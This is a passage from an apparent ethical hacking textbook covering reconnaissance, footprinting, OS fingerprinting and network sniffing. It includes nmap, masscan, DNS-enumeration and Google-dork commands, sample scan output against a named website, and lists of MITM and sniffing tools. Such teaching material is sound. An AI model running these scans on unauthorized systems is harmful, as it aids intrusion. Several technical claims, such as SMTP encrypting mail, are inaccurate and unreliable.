	Passive Reconnaissance

	In this type, the hacker will try to gather information about the system or network without interacting directly with the network, collecting data from websites, social media, etc.

	Scanning

	In this phase, the hacker will need to probe the target system and look for any vulnerabilities that it can exploit. For this purpose, the hacker can utilize Nexpose, Nessus and the Nmap tool.

	Getting Access

	Once the hacker identifies a vulnerability in the system or network, he or she will need to exploit that vulnerability to find out if they can enter the system. For this purpose, most hackers use a tool called Metasploit.

	Maintaining Access

	Once the hacker has gained access into the system, he or she will need to install a back door, or trap door. This will allow the hacker to enter the system whenever required in the future. Most prefer to use Metasploit during this phase.

	Clearing Tracks

	This is the unethical part of the process where the hacker will need to delete the log of every activity that they performed during the process of hacking the system.

	Reporting

	The last phase of the ethical hacking process is reporting. In this phase, the ethical hacker will need to prepare a report with all their findings and will also need to specify the different tools and methods that were used to perform the hack. The report should include the vulnerabilities found in the system and also list the solutions that the hacker wants to implement.

	It is important to remember that the phases mentioned above are not set in stone. As an ethical hacker, you can always change the process or use different tools. You need to ensure that you are comfortable with the process. As long as you achieve the results you are looking for, you don't have to worry about sticking to the steps mentioned in this chapter.
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	Developing the Ethical Hacking Plan
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	As mentioned earlier, it’s important for an ethical hacker to plan his or her efforts before they begin their task. You don’t have to create a detailed plan but should provide information regarding what you’re going to do as a part of the exercise. You should mention why it’s important to perform the ethical hack and structure the process well.

	Regardless of whether you are testing a group of computers or a web application, you must mention your goal and define the scope of your test. You should also determine the standards you’ll be using to test the product. When you have written the plan down, you should gather different tools and familiarize yourself with those tools. This chapter will provide information on how you can create an environment that will improve the ethical hacking process to ensure that you’re successful.

	Getting the Plan Approved

	It’s important to get the plan approved, and the first step to do so is obtaining sponsorship. This approval should come from an executive, a customer, a manager or yourself. The testing may be canceled otherwise, or someone may deny authorization for these tests. There are times when there can be legal consequences for any unauthorized hacking. You have to ensure that you know what you’re doing and that all your actions are visible.

	This permission can be a simple memo from the senior management if you’re running these tests on your systems. If you perform these tests for a customer, you should have a signed agreement in place with the customer’s permission and authorization. It’s important to obtain written approval to ensure your time and effort don’t go to waste.

	If you have a team of ethical hackers or are an independent consultant, you should purchase professional liability insurance from agents who specialize in business insurance coverage. This type of insurance is expensive, but it’s very important to have the coverage.

	Determining What Systems to Hack

	You probably wouldn’t want to evaluate the safety of all your systems at once. It could lead to more problems and is a difficult task. This isn’t to say that one shouldn’t eventually check every computer and application that’s present; rather, it’s suggested that when the time comes, one should break down their ethical hacking tasks into smaller tasks to ensure that it is easy to manage. 

	You may decide the systems you want to test depending on the risk analysis and answers to questions like:

	
		Which are your most important systems?

		If a system is hacked, what would be the biggest loss or lead to the most trouble?

		Which system is most vulnerable to attacks?

		Which systems are not strongly administered?



	After the goals have been established, you can decide what systems need to be tested. This step helps one to carefully plan out their ethical hacking so that each person’s expectation is established and to be certain the time and resources required for the job can be estimated as well. 

	The list mentioned below includes applications and systems that you should consider executing the hacking tests on:

	
		Firewalls

		Routers

		Network infrastructure as a whole

		Wireless access points and bridges

		Applications, Web servers and database servers

		Workstations, laptops, and tablet PCs

		E-mail and file/print servers

		Mobile devices (such as PDAs and cell phones) that have confidential information

		Client and server operating systems

		Client and server applications, such as e-mail or other in-house systems



	Selecting the systems to test depends on several factors. If the network you’re working on is small, everything can be tested from the get-go. It is better to test hosts that are open to the public such as web servers, emails and other associated apps. Hacking is flexible and all decisions should be made based on things that make the most sense business wise. 

	The first places to start are the the most vulnerable spots. You should consider the following questions:

	
		Where on your network does your computer or application reside?

		Which apps and operating system does it run?

		What type of important information is saved on it?



	If the system that’s being hacked is your own or a customer’s, a previous security-risk assessment or vulnerability test would have generated this information. If this has been done, such documentation will help to point to systems needing further testing.

	Ethical hacking is always a few steps above the higher-level information risk assessments and vulnerability testing. You should first get information about all the systems, including the entire organization, and then assess the systems that appear to be the most vulnerable.

	It’s ideal to begin with systems that have the best visibility. It makes more sense for you to focus on a file server or database that stores customer or any other critical or information. You can then focus on web servers, applications or firewalls after that.

	Timing

	It’s often said that it’s all about the timing. This is particularly true for an ethical hacker. While these tests are being performed, disruptions to any information systems, businesses and people must be minimal. Certain situations should be avoided at all costs, such as using the wrong timing for tests. Triggering a DoS attack in the middle of the day against a full fledged e-commerce site or compelling yourself or others to perform tests to crack passwords at ungodly hours is a bad idea. Believe it or not, a 12-hour time difference can make a lot of difference! Every person involved must accept the complete timeline before you start. This helps everyone start together and thus set the right expectations.

	Internet Service Providers (ISP) or Application Service Providers (ASPs) that are involved must be notified before any tests are performed on the Internet. This way, ISPs and ASPs will be aware of the tests that are taking place, and thus will minimize the chances that they will block your traffic if a malicious behavior is suspected and starts showing up on their firewalls or Intrusion Detection Systems (IDSs). 
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	Reconnaissance
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	As mentioned earlier, the reconnaissance phase is where the hacker will understand the system and gather the information necessary to hack the system. This phase includes a set of processes: footprinting, scanning and enumeration. Each of these processes will be covered in detail in the next few chapters.

	During reconnaissance, the hacker should do his or her best to gather the necessary information about the target network or system. For this, the hacker should follow the steps given below:

	
		Gather the initial information

		Determine the range of the network

		Identify the active machines on the network

		Discover the access points and open ports in the network

		Fingerprint the operating system

		Uncover any services offered by the port

		Map the network



	We will look at these steps in the next few chapters of the book. Let’s now go into detail about what active and passive reconnaissance are and the different tools used to perform these activities.

	Active Reconnaissance

	As mentioned earlier, active reconnaissance is where the hacker will interact directly with the system or network to obtain information. The information gathered should be accurate and relevant to the system or network. There is, however, a chance that the hack will be detected if the hacker doesn't take permission from the owner. The system administrator can take action against the hacker if it’s spotted.

	Tools used

	SQLMap

	This tool is a penetration-testing tool that is open source. A hacker can use this tool to detect an SQL injection attack and exploit the flaws in that attack. This tool comes with many niche features, including a powerful detection engine, which is necessary for any penetration-testing tool to have. It also comes with different switches, including fetching data from the attacked or weak database, accessing different files and executing sensitive commands on the operating system using out-of-band connections and database fingerprinting.

	Nessus

	Nessus was once open source and free, but it’s now a product sold by Tenable. Hackers use it to discover all the assets available on a network, including those that are hard to find, like VMs, containers guest devices and mobile devices. This tool will provide the hacker with information about the vulnerabilities of the network and will help him or her determine which of the vulnerabilities should be fixed first. This tool can be used to scan clouds or on-premise networks. Most hackers pitch this tool to the customers as a vulnerability scanner.

	Passive Reconnaissance

	As previously stated, in passive reconnaissance, the hacker can gather the required information about a system without interacting with it directly.

	Tools Used

	Netcraft.com

	A UK based company called Netcraft tracks every website that has ever been developed. It does this virtually and uses the data to calculate the uptime of a web server, its market share and other important information. This website also offers numerous security services, including both phishing alerts and anti-phishing extensions. Netcraft also provides hackers and other users with data about every website on the Internet. This data is useful for both ethical and malicious hackers.

	HTTrack.com

	This website allows a user to download any website from the Internet onto a local directory. It can also be used to obtain different HTML and other files directly from the server onto the computer. Hackers use this tool to obtain the original link-structure. The hacker can then study all the vulnerabilities in the website and make back doors offline. This will help the hacker perform the activity on any network or system without being detected by the system administrator.
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	Footprinting 
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	As mentioned earlier, footprinting is one of the processes of reconnaissance, and it is used to gather information about the target network or system. This can be done through active and passive footprinting. 

	For example, reviewing the website of a company to obtain information is passive footprinting while using social engineering to obtain some sensitive information is called active footprinting. This is where the hacker will gather all the necessary information that he or she needs to find a way to enter the target network system. If the hacker doesn’t want to intrude the system, he or she can decide which attacks will be suitable for the target network and system. 

	During the footprinting phase, the hacker can collect information such as:

	
		IP addresses

		Domain names

		Employee information

		Namespaces

		E-mails

		Phone numbers

		Job information



	The following sections will discuss how basic information can be extracted from any Internet-based target network or system 

	Domain Name Information

	If you want to obtain some detailed information about a target website or domain, you can use this website: http://www.whois.com/whois. The site will help you obtain a vast amount of information, including the name of the owner, registrar, expiry, name of the server, date of registration and the owner’s contact information.

	https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_footprinting.htm 
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	You can find a sample record of the information extracted from Google.com using the following link:       
https://www.whois.com/whois/google.com.

	Quick Fix

	It is always important to maintain a private domain name. This will ensure that a cracker or any other hacker does not obtain information about the website.

	Finding the IP Address

	You can enter a ping command either at the command prompt or in the scripting language. A ping command is available on both Linux and Windows operating systems. 

	The following is one way to find the IP address1 of a target website: $ping <target website>

	For a website named tutorialspoint.com, you will obtain the result below:

	PING tutorialspoint.com (66.135.33.172) 56(84) bytes of data.

	64 bytes from 66.135.33.172: icmp_seq = 1 ttl = 64 time = 0.028 ms

	64 bytes from 66.135.33.172: icmp_seq = 2 ttl = 64 time = 0.021 ms

	64 bytes from 66.135.33.172: icmp_seq = 3 ttl = 64 time = 0.021 ms

	64 bytes from 66.135.33.172: icmp_seq = 4 ttl = 64 time = 0.021 ms

	Finding the Hosting Company

	When you have a website address, you can obtain more information about the website using the link www.ip2location.com. The example below will show you how to derive the details about an IP address2:
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	The ISP row gives you information about the target domain or company and the hosting company. It is important to remember that the IP address is provided by a hosting company.

	Quick Fix

	If the target network or system is directly linked or connected to the Internet, it’s difficult to hide the IP address of that network or system and all the other related information, such as the name of the hosting company, the ISP, its location, etc. If there is a server that has sensitive information, it’s important to create a proxy; this will ensure that a hacker does not obtain details about the actual server, making it harder for a hacker to access the server.

	Most experts suggest that you should use a Virtual Private Network, or VPN, to hide the IP address of the system. You can configure the network to ensure that the traffic is only routed through the VPN. This way, the true IP address is hidden by the ISP.

	IP Address Ranges

	A small website3 can have a single IP address that is associated with it, but a large website can be linked to different IP addresses since the website may serve numerous domains and subdomains. The American Registry for Internet Numbers (ARIN) can be used to obtain the range of IP addresses that are assigned to a specific company or website. You can enter the name of any company in the search box and obtain the list of every IP address that is associated with that company.
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	History of the Website

	One can obtain the history of a website by visiting www.archive.org. All you need to do is enter the name of the domain in the search box and look at the status of the website. You can also look at the different pages4 that were available on the website on different dates.
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	Quick Fix

	There are many advantages to leaving your website in an archived database, but if you don’t want a hacker or any other individual to look at how the website has progressed, you can always go to archive.org and get rid of any particulars about your website.

	Passive Footprinting

	In passive footprinting, the hacker uses different tools and resources to obtain all the information about a target domain or network without working directly in the target’s environment. The objective is to obtain the information in a stealthy manner.

	Links and Commands

	This section covers some of the links and commands that will be used in the subsequent part of this chapter. You can use this as a handy glossary for reference.

	WHOIS

	https://whois.icann.org/en 

	GHDB

	https://www.exploit-db.com/google-hacking-database/ 

	Google search for data on the target’s website:

	<search string> site:<website domain name>

	Google search to see where target appears in a URL:

	inurl: <target name>

	Google search for information about the target on social media:

	<target name> site:twitter.com, <target name> site:facebook.com, etc.

	Google search for information about the target on job sites:

	<target name> site:indeed.com, <target name> site:monster.com, etc.

	Netcraft

	https://www.netcraft.com 

	OnSameIP

	http://onsameip.com.ipaddress.com 

	SameIP

	http://www.sameip.org 

	DNS Tools

	dnsrecon <target domain> -w

	dnscan -d <target domain> -w <subdomain text file> -v

	dmitry -winse <target domain>

	theharvester -d <target domain> -l 500 -b google

	python Belati.py –d <target domain>

	WHOIS

	It is always a good idea to start the process of passive footprinting using a WHOIS query. You can utilize this tool to obtain information about the assignees and registered users of the domain. You can also utilize different resources to perform this function. Professional hackers prefer to use the WHOIS lookup on the ICANN platform (https://whois.icann.org/en).

	Google Hacking or Google Dorks

	If you know where and how to look, you can obtain a treasure trove of information about your target. Google Dorks are a string of queries that can be used to gather the necessary information about the target network or system. There are close to 1,000 different Google Dorks that you can use for this purpose. You can obtain this list on the following website: https://www.exploit-db.com/google-hacking-database/.

	This section7 lists some of the ones that most hackers use when they begin the exercise. You can always revisit these tools at the end of the exercise if you want to gather some additional information.

	Generic search:

	<target name> 

	Search for data on target’s website:

	<search string> site:<website domain name>  

	See where the target’s name appears in a URL on the web:

	inurl: <target name> 

	Fishes images and text from upload sites:

	inurl:admin inurl:uploads site:<website domain name> 

	Social Media

	Social media platforms always provide a lot of information about the target network or system. This tool will help you gather information about the employees in the organization, the tools they use, the technology being used and other information. Most hackers use Google Dorks since it’s one of the simplest ways to sift through the huge volume of social media data. It makes the task easy and less painful. You can obtain all the information from any social media platform using the following command: <target system> site:<social media platform>. 

	The amount of information that you can obtain from a social media website is surprisingly large. Therefore, it is important that you don’t skip this step.

	Job Sites

	One can use a job site to obtain information about the different technologies that an organization uses to perform the necessary functions. You can use Google Dorks to look for these websites by, for example, entering one of the following commands: <target name> site:monster.com, etc.

	Press Releases or Public Websites

	It’s possible to use a public website or any other digital assets that are hosted by the target to obtain more information. This information can be used in the later stages of the ethical hacking exercise. A press issue that’s released by an organization can also be used to gather data since it will provide information about key employees and will also mention any important projects and technologies that the organization may have recently implemented.

	Netcraft

	As addressed earlier, this tool provides multiple services, including anti-fraud, phishing and anti-phishing services. You can use the Netcraft toolbar on the page to gather information about numerous websites that are run on the same or different target domains. This tool will provide you with a lot of data, including the hosting provider, IP address and technology used. 
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	Same IP

	When you discover that some websites are running on your target domain or website, you can uncover some valuable information about that site. You may come across a development site or a sub-domain. You must remember that one service provider is used for multiple services, and also bear in mind that you can never have too much information. 

	The following websites are available for this purpose:

	
	● https://sameip.org.cutestat.com/



	
	● http://onsameip.com.ipaddress.com/



	DNS

	DNS is one of the best tools during the passive footprinting phase. This tool, which is an Internet protocol, will give you a list of all the IP addresses in the domain and match each of those addresses with a possible service that’s being run by the target. In addition to this, the tool will provide you with an insight into how the email from the target is being routed. You can also obtain the names of every DNS server, SRV records and any special application configuration on the domain. 

	Most operating systems come with a built-in DNS tool called ‘nslookup’ which can be used to perform an investigation. There are many other sophisticated tools that you can use to perform this function and other services like Google searches and WHOIS lookups. This section covers some of the best tools in the market.

	DNS Recon

	DNS Recon is a tool that one can use to conduct a DNS reconnaissance. It can be installed using the following link: https://github.com/darkoperator/dnsrecon. When you install DNS Recon, you can run the following command: ‘dnsrecon <target domain> -w’. In this command, the ‘-w’ indicates that the tool should perform a WHOIS record analysis. The output will have the host addresses, WHOIS record, IP addresses and nameservers. It will also provide other important DNS information and MX records.

	dnscan

	dnscan, a DNS reconnaissance tool, can be installed by using the python script from GitHub. You can download the script using the following link: https://github.com/rbsec/dnscan. This tool is similar to the DNS Recon tool, but it comes with a dictionary filled with subdomains. This will help you obtain the subdomains for the domain you are looking at. 

	If you want to run this tool, you should enter the following command: ‘python dnscan -d <target domain>’ -w <subdomain text file> -v. This tool has some subdomain text files that are saved in the GitHub repository. These files come in handy if you need any subdomain text file. The ‘-v’ is used in the command to add some verbosity to the script. This will help you track the progress of the script.

	Dmitry

	Dmitry, short for Deepmagic Information Gathering Tool, is another web search or DNS footprinting reconnaissance tool. This tool works only on Linux systems and can be installed by visiting the following website: https://www.aldeid.com/wiki/Dmitry. You should run the command ‘dmitry -winse <target domain>’ to scan the target network or system.

	theharvester

	This tool will help you gather all the necessary information in the early stages. It’s an enumeration tool, which is often used by hackers during the footprinting phase of the ethical hacking cycle. This tool gathers the following information: subdomains, email addresses, employee names, hosts, etc. The tool can be installed via the following website: https://github.com/laramies/theHarvester. You can run this tool using the command prompt ‘theharvester -d <domain> -l <number of searches e.g. 500> -b <search engine e.g. google>’.

	Belati

	Belati a new tool in the market that comes with features that are similar to the earlier tools mentioned in this chapter. You can install it using the following link: https://github.com/aancw/Belati. This is the creator’s page, and all you need to do is follow the instructions provided to you when installing the tool. The script has been written in Python, and for reporting, it uses the Django web framework. The tool enumerates HTTP banners and checks Google, WHOSIS, GIT, and subdomains. A sample output has been included below. 

	If you want to run Belati, you should type the command ‘Belati.py-d <target domain>’ in the Belati directory in Python.
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	Active Footprinting Tools

	Now that you understand the concept of anonymity, let’s move on to active footprinting. You can use different tools for this purpose and can interrogate the target network or system using these tools. 

	The next step is to identify the different services that are run in the target. In this step, we will only identify and understand the scope of the target. This section covers four different tools that can be used to perform active footprinting. These include:

	
		Nmap ping sweep

		Traceroute tool

		Masscan ping sweep

		Data Miner



	Nmap Ping Sweep

	You should have identified the IP range of the target during the passive footprinting phase. You’ll now need to perform an active scan of every identified range to detect the devices that are active on that network. Nmap has always been the go-to tool for hackers who want to scan a network, though it can be used for more than a mere scan of the hosts on a network. You can learn more about this tool on the official website. 

	To run a ping sweep, type the following command:

	nmap -sn <IP Range>

	An example has been shown in the image below:
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	Traceroute

	Traceroute is a tool that can be bundled into different operating systems. It’s a network utility tool that will trace the route from the IP of your system to the IP of your target system. This tool can be used to identify routers, gateways and firewalls that are placed between your system and your target system. 

	You can use the following command on a Linux-based system to run traceroute:

	traceroute <Fully Qualified Domain Name> or <IP Address>

	The example below provides information about your system and target system or network. You can see that there are fifteen hops between the target machine and the source machine. It’s important that you obtain information about the hops if you want to learn more about the target system or network.
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	Masscan

	Masscan is a tool that’s similar to the Nmap tool, but it’s faster than the latter. This tool can be used to send close to ten million packets of data in one second. 

	If you want to run a ping sweep, you can utilize the following command:

	masscan –range <IP Range> — ping

	The image below shows the output derived from this scan:
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	Data Miner

	Every target domain or website will have a public website providing a hacker with some pertinent and useful information that needs to be collected and analyzed during the ethical hacking process. If the target is a large website or domain, then you will need a tool to collect all the necessary information from the website. These tools can help to collect and segregate the information that is gathered from the target website. 

	One of the best tools that you can use is called Data Miner. This is an extension on Google Chrome and comes with two generic versions – one to collect the email addresses on the website and the other to collect the links from the website. The following example will show you how this tool works:
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	If you install the Recipe Creator, you can develop your own data scraping methods.



	
Chapter 11

	 

	Fingerprinting 
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	OS fingerprinting is defined as the method used in ethical hacking to learn more about the operating system that a remote system uses. This can be done through either active or passive fingerprinting.

	Active Fingerprinting

	You can actively fingerprint a remote system by sending some packets of data to the target system. These packets should be specially crafted. It’s important that you then note the responses and analyze the information that’s accumulated. This will help you understand the operations of the remote system. 

	In this chapter, we will go into detail about how you can identify the operating system of a target system.

	Passive Fingerprinting

	Passive fingerprinting is done using a sniffer trace like Wireshark on the remote system. By using the trace, you can obtain data about the operating system of the target host or system.

	You must look at the following elements to learn more about the operating system:

	
		Window size: This will provide information about the size that is set by the operating system for the window.

		TOS: This will provide information about the types of services offered by the operating system.

		TTL: This will give you information about the time-to-live on an outbound packet.

		DF: This will let you know if the operating system uses the “don’t fragment” bit.



	When you analyze these aspects of a packet, you can determine the operating system being used by the target. However, this isn’t an accurate method of doing so, and it may only work well for some operating systems.

	Basic Steps

	You should always learn more about the target website by understanding the operating system. When you know what the target operating system is, you can determine the different vulnerabilities in the system and see how those vulnerabilities can be exploited. 

	The following Nmap command is often used by hackers to identify the operating system that a target website uses. It’s also used to identify the open ports and the IP addresses of those ports.

	$nmap -O -v tutorialspoint.com

	This command14 will also give you sensitive information about any IP Address or domain name:

	Starting Nmap 5.51 ( http://nmap.org ) at 2015-10-04 09:57 CDT

	Initiating Parallel DNS resolution of 1 host. at 09:57

	Completed Parallel DNS resolution of 1 host. at 09:57, 0.00s elapsed

	Initiating SYN Stealth Scan at 09:57

	Scanning tutorialspoint.com (66.135.33.172) [1000 ports]

	Discovered open port 22/tcp on 66.135.33.172

	Discovered open port 3306/tcp on 66.135.33.172

	Discovered open port 80/tcp on 66.135.33.172

	Discovered open port 443/tcp on 66.135.33.172

	Completed SYN Stealth Scan at 09:57, 0.04s elapsed (1000 total ports)

	Initiating OS detection (try #1) against tutorialspoint.com (66.135.33.172)

	Retrying OS detection (try #2) against tutorialspoint.com (66.135.33.172)

	Retrying OS detection (try #3) against tutorialspoint.com (66.135.33.172)

	Retrying OS detection (try #4) against tutorialspoint.com (66.135.33.172)

	Retrying OS detection (try #5) against tutorialspoint.com (66.135.33.172)

	Nmap scan report for tutorialspoint.com (66.135.33.172)

	Host is up (0.000038s latency).

	Not shown: 996 closed ports

	PORT       STATE SERVICE

	22/tcp   open  ssh

	80/tcp   open  http

	443/tcp  open  https

	3306/tcp open  mysql  

	TCP/IP fingerprint:

	OS:SCAN(V=5.51%D=10/4%OT=22%CT=1%CU=40379%PV=N%DS=0%DC=L%G=Y%TM=56113E6D%P=

	OS:x86_64-redhat-linux-gnu)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS

	OS:(O1=MFFD7ST11NW7%O2=MFFD7ST11NW7%O3=MFFD7NNT11NW7%O4=MFFD7ST11NW7%O5=MFF

	OS:D7ST11NW7%O6=MFFD7ST11)WIN(W1=FFCB%W2=FFCB%W3=FFCB%W4=FFCB%W5=FFCB%W6=FF

	OS:CB)ECN(R=Y%DF=Y%T=40%W=FFD7%O=MFFD7NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A

	OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%

	OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=

	OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=

	OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%

	OS:T=40%CD=S)

	https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_fingerprinting.htm

	There may be times when the operating system used by the hacker does not support an Nmap command. In such instances, the hacker can utilize the yum command, which is given below:

	$yum install nmap

	It’s important that you understand the Nmap command in detail if you want to better comprehend the different features that can be associated with a system and improve on this knowledge. Understanding Nmap will also help you secure the system against any malicious attacks.

	Quick Fix

	It’s always a good idea to secure the main system using a VPN or proxy server. This will ensure that the identity of the system is safe and that the main system is always secure.

	Port Scanning

	In the above section, you saw the information that the Nmap command gives. The command15 below will list all the ports that are open on a server.

	PORT         STATE   SERVICE

	22/tcp       open      ssh

	80/tcp       open      http

	443/tcp      open      https

	3306/tcp   open      mysql

	https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_fingerprinting.htm

	It is also easy to see if a specific port is active or inactive using the following command:

	$nmap -sT -p 443 tutorialspoint.com

	You will obtain the following result:

	Starting Nmap 5.51 ( http://nmap.org ) at 2015-10-04 10:19 CDT

	Nmap scan report for tutorialspoint.com (66.135.33.172)

	Host is up (0.000067s latency).

	PORT      STATE SERVICE

	443/tcp open  https  

	Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

	Once a hacker is aware of the different open ports, it will be easy to plan an attack on the system through the open ports.

	Quick Fix

	It’s vital that a system is checked frequently to make sure every unwanted or inactive port is closed. This will keep the system safe from harmful attacks.

	Ping Sweep

	Ping sweeps are a way to scan the network to determine the IP address of the target system from a group of hosts. This is also called an ICMP sweep. Most hackers use the command ‘fping’ to perform a sweep. This command uses the ICMP, or Internet Control Message Protocol, echo to confirm if a host is active. This command is different from the regular ping command since you can specify the file that contains the list of hosts or simply specify a list of hosts on the command line. If the host does not respond in a specific time limit, the command will determine that they are inactive.

	Quick Fix

	If you want to disable a ping sweep on a network, it will be easy to block any ICMP echo from an external source. To do this, you should create a firewall in the iptables. This can be done by using the following command:

	$iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP

	DNS Enumeration

	DNS, or Domain Name Server, is analogous to an address book or map. This is like a database that has been distributed. It can be used to translate a named website to an IP address and vice versa. This is a process of locating every DNS server and obtaining information about the corresponding record for the organization. The aim is to gather as much information as possible about the target before you initiate an attack. 

	To obtain information about the host and the DNS, you can use the command ‘nslookup’ on Linux and use the script DNSenum to obtain some detailed information about any domain. This script can be used to perform the operations listed below:

	
		Get the MX record

		Obtain the addresses of the hosts

		Obtain the nameservers

		Perform an axfr query on a nameserver

		Perform a reverse lookup on net ranges

		Obtain the names of domains and subdomains using Google scraping

		Calculate the C-Class domain network ranges

		Perform queries using WHOIS on the network ranges

		Brute force subdomains from a file



	Quick Fix

	Unfortunately, there is no quick fix for a DNS enumeration, and the only fix that exists is beyond the scope of this book. It’s difficult to prevent DNS enumeration on any system. If you don’t secure your DNS, you will lose a lot of sensitive information about the organization or network since any unauthorized DNS zone transfer can take place.



	

Chapter 12

	 

	Sniffing
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	The process of observing, listening, monitoring and capturing the packets of data passing through a network using different tools is called sniffing. This is analogous to tapping a phone wire and listening to the conversation. This process is also called wiretapping a computer network. If there is an open port or open switch on any network, it’s easy for any employee to sniff the traffic out and analyze that traffic. If there is someone who’s in the same location as the open port or who uses the same ethernet cable to access the network, that person can sniff the full traffic from the network. 

	In other words, sniffing will allow you to see both unprotected and protected traffic. If you follow the right rules and conditions and have the right protocols in place, you can attack a system and gather all the information necessary for any future attacks.

	What Can Be Sniffed?

	The following sensitive information can be sniffed from a network:

	
		Email traffic

		Telnet passwords

		Web traffics

		Chat sessions

		DNS traffic

		Router configuration

		FTP passwords



	How Does Sniffing Work?

	Sniffers often change the mode of the system to the promiscuous mode. This option gives the hacker a chance to observe the data that’s transmitted on the network. The promiscuous mode is a unique way in which an Ethernet hardware allows the network to receive the traffic on the Internet, even if the data isn’t assigned to that network. It does this using a Network Interface Card, or NIC. During this process, the destination addresses of the hardware address and the ethernet packet are compared. That being said, if the network is on the non-promiscuous mode, it will be difficult for the tool to monitor and analyze the traffic in the network.
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	Sniffers can be used to monitor the traffic on any network continuously using an NIC. These sniffers will decode the information that is encapsulated in the packets of data.

	Types of Sniffing

	Like the earlier methods, sniffing can be either active or passive.

	Passive Sniffing

	In passive sniffing, a hacker can lock the traffic but cannot alter it in any way. This means that the hacker can listen or observe the traffic. This method is used on hub devices. The traffic on a hub device is sent to every port in the network. The network uses that hub to connect multiple systems, which means that every host on the network can view the traffic. Therefore, it’s easy for a malicious hacker to capture all the information that’s passing through the network. Most hub devices are obsolete today, which makes passive sniffing ineffective.

	Active Sniffing

	In active sniffing, the traffic is monitored and locked, and the hacker has the authority to alter that traffic. This type of switching is used on a switch-based network and involves injecting an ARP, or Address Resolution Packet, into the target network. This packet will flood the switch’s CAM, or Content Addressable Memory, table. This table is used to track the connection between a host and a port. 

	The following techniques are used for active sniffing:

	
		DHCP attacks

		MAC flooding

		ARP poisoning

		Spoofing attacks

		DNS poisoning



	Protocols Affected Due to Sniffing

	Most protocols, including the TCP/IP, were never designed securely. Therefore, they can be used by a hacker, ethical or malicious, to enter the network. These protocols are easy to attack using a sniffer.

	HTTP

	The HTTP protocol is used to send information across the network from one system to the other without encrypting the data. This makes this protocol an easy target.

	SMTP

	SMTP, or Simple Mail Transfer Protocol, is used to transfer data via emails. It protects the data by encrypting it but does not protect the data from sniffing tools.

	NNTP

	NNTP, or Network News Transfer Protocol, is used for any communication taking place across the Internet. The main issue with this protocol is that all the data (including passwords) are shared as clear text across the Internet.

	POP

	POP, or Post Office Protocol, is only used to receive emails. It doesn’t provide any protection against sniffing. Therefore, it can be trapped.

	FTP

	FTP, or File Transfer Protocol, is only used to send and receive any folders or files across a network. It does not protect the data, so the information can be stolen by a hacker.

	IMAP

	IMAP, or Internet Message Access Protocol, is like the SMTP in the way it functions. It is vulnerable to sniffing.

	Telnet

	Telnet is a protocol that sends all the information across the network in clear text. This information includes usernames, keystrokes and passwords. Therefore, it can be sniffed easily.

	A sniffer is not a tool that is only used to view live traffic; it can also be used to analyze the data in each packet, save the information and review it whenever necessary.

	Hardware Protocol Analyzers

	Before we understand more about sniffers, it’s important that we look at hardware protocol analyzers. An analyzer is plugged into the hardware and used to access the network. By utilizing an analyzer, one can obtain information about the traffic in a network and can also monitor that traffic. 

	Hardware protocol analyzers are used for the following purposes:

	
		To identify or monitor any malicious traffic in the network (done using a hacking software that is present in the target system)

		To capture packets of data, decode those packets and analyze the contents based on some rules

		To allow a malicious hacker to look at individual data bytes of the packets of data passing through the network



	A hardware device isn’t accessible to most hackers of any kind, since they are expensive.

	Lawful Interception

	Lawful Interception, or LI, is a legal way to access any communication network data, including email messages and telephone calls. LI has existed since the advent of electronic communications and was once called wiretapping. There must be a legal binding contract that allows a hacker to analyze or obtain evidence from the target network. Therefore, this is a process whereby the network service provider or operator will give notice of official permission to access any confidential information or any communication between the organization and the individual. 

	Many countries have drafted a legislation, and some have enacted legislation, to regulate any LI procedures. There are some standardization groups that are creating technology specifically for LI. Most LI activities are performed for the sake of cyber security and infrastructure protection, and there are some private network operators who are allowed to perform LI within their network. 

	Sniffing Tools

	Hackers use different tools to sniff a target network, and each of these tools has its own features. These features make it easier for a hacker to analyze the traffic and understand the information better. A sniffing tool is a common application, and this section lists some of the tool most often implemented.

	BetterCAP

	This is a flexible, portable and powerful tool that can be used to perform different types of MITM attacks on the target network. It can also be used to manipulate the HTTPS, TCP and HTTP traffic in the network, sniff the network for credentials and much more.

	Ettercap

	Ettercap is a comprehensive suite of tools that can be used to perform man-in-the-middle attacks. This suite sniffs out the live connections, filters the content on the website and performs many other interesting tricks. It also supports both passive and active dissections of different protocols and includes many features that will enable the hacker to perform a host and network analysis.

	Wireshark

	Wireshark is one of the more well-known and widely used packet sniffers. This tool has many features that enable a hacker to dissect and analyze the traffic passing through the network.

	TCPDump

	TCPDump is a well-known packet analyzer. This can be used in the command prompt in an operating system and allows a hacker to observe and intercept the TCP/IP packets and other packets that are shared over the network. This tool can be installed using the following link: www.tcpdump.org.

	WinDump

	WinDump is a substitute for the TCPDump tool. The latter can only be used on Linux while the former can be used on Windows. This is also a command-line tool that can be used to display header information.

	OmniPeek

	OmniPeek is a tool manufactured by the company WildPackets. It is an evolved version of the EtherPeek tool.

	Dsniff

	Dsniff is a suite or collection of tools that can be used to sniff various protocols. This tool is used to intercept and obtain passwords. Dsniff was designed for the Linux and Unix operating systems, and there is no Windows equivalent as of yet.

	EtherApe

	EtherApe is a Linux and Unix compatible tool that’s used to display the incoming and outgoing connections on any system using a graph.

	MSN Sniffer

	MSN Sniffer is a tool that was designed to sniff the traffic that is generated by the messenger application.

	NetWitness NextGen

	NetWitness NextGen can be utilized to sniff hardware. It can also monitor and analyze the traffic on any target network. Some law enforcement agencies, including the FBI, use this tool.

	Most hackers use these tools to analyze the traffic on any given network. They will then dissect that information to understand the network better.



	

Chapter 13

	 

	ARP Poisoning
